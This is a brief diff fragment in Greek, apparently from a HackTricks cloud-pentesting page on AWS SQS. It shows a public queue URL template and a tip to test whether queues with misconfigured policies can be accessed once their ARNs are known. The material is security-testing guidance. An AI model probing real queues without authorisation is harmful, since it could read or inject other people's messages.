+{{#endref}} + +### Πρότυπο δημόσιου URL +``` +https://sqs.[region].amazonaws.com/[account-id]/{user_provided} +``` +### Έλεγχος Δικαιωμάτων + +Είναι πιθανό να διαμορφωθεί λανθασμένα μια SQS queue policy και να δοθούν δικαιώματα σε όλους στο AWS για αποστολή και λήψη μηνυμάτων, οπότε αν αποκτήσετε τα ARN των queues δοκιμάστε αν μπορείτε να τα προσπελάσετε. + +{{#include ../../../../banners/hacktricks-training.md}}